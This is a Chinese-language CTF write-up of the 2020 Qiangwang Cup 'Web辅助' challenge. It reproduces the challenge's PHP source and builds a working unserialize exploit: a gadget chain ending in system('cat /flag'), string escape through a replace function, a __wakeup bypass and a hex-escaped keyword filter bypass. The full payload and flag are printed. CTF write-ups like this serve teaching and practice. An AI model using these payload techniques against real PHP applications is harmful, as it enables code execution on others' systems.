2020第四届强网杯-强网先锋-Web辅助 writeup

原创

lnjoy 于 2020-09-13 15:09:13 发布 919 收藏 4
分类专栏： CTF WriteUp 文章标签： 安全 php web 安全漏洞

2020第四届强网杯，强网先锋的Web辅助详解。

> 原题文件：https://wwe.lanzous.com/i2kYNgnu0sh

本题考查点：

1. php反序列化
2. 反序列化字符串逃逸
3. __wakeup()绕过
4. 使用16进制绕过关键字过滤。

题目给了源码，先进行代码分析。

在index.php传入get参数username和password后，会使用这两个参数创建player对象。
将player对象序列化后，经过write函数处理，最后写入以访问ip的md5为文件名的文件中，如下。

```php
#index.php
if (isset($_GET['username']) && isset($_GET['password'])){
 $username = $_GET['username'];
 $password = $_GET['password'];
 $player = new player($username, $password);
 file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
 echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
```

另外存在文件play.php，访问该文件会读取以访问ip的md5为文件名的文件。
并对其内容经过check函数、read函数处理后反序列化。

```php
#play.php
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
```

在common.php中，可看到write函数是将%00*%00替换为\0*\0，read函数是将\0*\0替换为%00*%00，check函数使文件内容中不能有"name"字符串。

```php
#common.php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
        die("Name Pass\n");
    }
    else{
        return $data;
    }
}
```

在class.php文件中定义了几个类，除player外还有topsolo，midsolo，jungle。

```php
#class.php
<?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
        $this->user = $user;
        $this->pass = $pass;
        $this->admin = $admin;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
        $this->name = $name;
    }

    public function TP(){
        if (gettype($this->name) === "function" or gettype($this->name) === "object"){
            $name = $this->name;
            $name();
        }
```

```php
    }

    public function __destruct(){
        $this->TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
        $this->name = $name;
    }

    public function __wakeup(){
        if ($this->name !== 'Yasuo'){
            $this->name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
        }
    }


    public function __invoke(){
        $this->Gank();
    }

    public function Gank(){
        if (stristr($this->name, 'Yasuo')){
            echo "Are you orphan?\n";
        }
        else{
            echo "Must Be Yasuo!\n";
        }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
        $this->name = $name;
    }

    public function KS(){
        system("cat /flag");
    }

    public function __toString(){
        $this->KS();
        return "";
    }
}
?>
```

其中jungle类中的KS方法有cat flag，则我们最终要执行这个方法。

jungle类存在魔术方法`__toString()`，当该类的对象被当做字符串使用时会调用这个方法，而这个方法会执行KS方法。

Midsolo类中有一个Gank方法，会在该类的name属性中寻找"Yasuo"字符串，此时就将name属性作为了字符串。
因此我们只要将jungle对象赋值给Midsole对象的name属性，就能触发jungle对象的__toString()。
Midsole类中存在魔术方法`__invoke()`，当该类的对象被作为函数调用时就会调用这个方法，而该方法会调用Gank()方法。

Topsolo类中有TP()方法，该方法检测该类的name属性，当该属性是函数或者对象时就会将该属性作为函数执行。
因此我们只要将midsolo对象赋值给topsolo对象的name属性，就能触发midsolo对象的__invoke()。
该类中的魔术方法`__destruct()`会在该对象销毁时执行TP()方法，一个对象的生命周期最后总是销毁，因此该方法总是执行的。

通过以上分析，我们构建出经过反序列化就能get flag的payload。

```
$cat = new jungle();
$mid = new midsolo($cat);
$top = new topsolo(($mid));
$s = serialize($top);
file_put_contents('payload.txt',$s);
```

得到

payload.txt

```
O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}}
```

这里的*前后都是%00，因为protected属性经过序列化后会在属性名前加上%00*%00.

然后我们要将这个payload通过username和password参数传入并执行反序列化。

直接通过参数传入会被作为字符串，不会执行反序列化。
要利用read()函数进行字符串逃逸，read函数将`\0*\0`替换为`%00*%00`，将5个字符变成3个字符，这样就可以多出两个字符的空间，会将原字符串外的两个字符吞并。
因此我们在username参数传入多个 \0*\0 就可以吞并后面的一些字符。

正常的user类序列化字符串如下：

> O:6:“player”:3:{s:7:"%00*%00user";s:3:“123”;s:7:"%00*%00pass";s:3:“123”;s:8:"%00*%00admin";i:0;}

这里我们需要吞并的字符串是

> “;s:7:”%00*%00pass";s:151:"a

长度为24，则需要在username传入12个\0*\0。

因为check函数会检查name，因此需要使用16进制绕过。
将序列化字符串中表示变量名为字符串的小写s换为大写S，就可以解析16进制。
n的16进制是 **\6e**，这里将name换成 **\6eame**。

由于midsolo类中有魔术方法__wakeup()，当反序列化时会执行该方法，将name属性值替换掉。
使序列化字符串中表示对象属性个数的值大于真实的属性个数，就会跳过__wakeup的执行。
因此这里是 **O:7:“midsolo”:2:{S。**

最终要传入的password参数是

> a";s:7:"%00*%00pass";O:7:“topsolo”:1:{S:7:"%00*%00\6eame";O:7:“midsolo”:2:{S:7:"%00*%00\6eame";O:6:“jungle”:1:{S:7:"%00*%00\6eame";s:7:“Lee Sin”;}}};s:8:"%00*%00admin";i:1;}

得到最终的payload为：

```
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0a&password=a";s:7:"%00*%00pass";O:7:“topsolo”:1:{S:7:"%00*%00\6eame";O:7:“midsolo”:2:{S:7:"%00*%00\6eame";O:6:“jungle”:1:{S:7:"%00*%00\6eame";s:7:“Lee Sin”;}}};s:8:"%00*%00admin";i:1;}
```

在index.php传入如上payload，然后访问play.php就可得到flag。

---

flag{c21b76db-9b7f-47c9-b25d-02fe942291b2} Must Be Yasuo!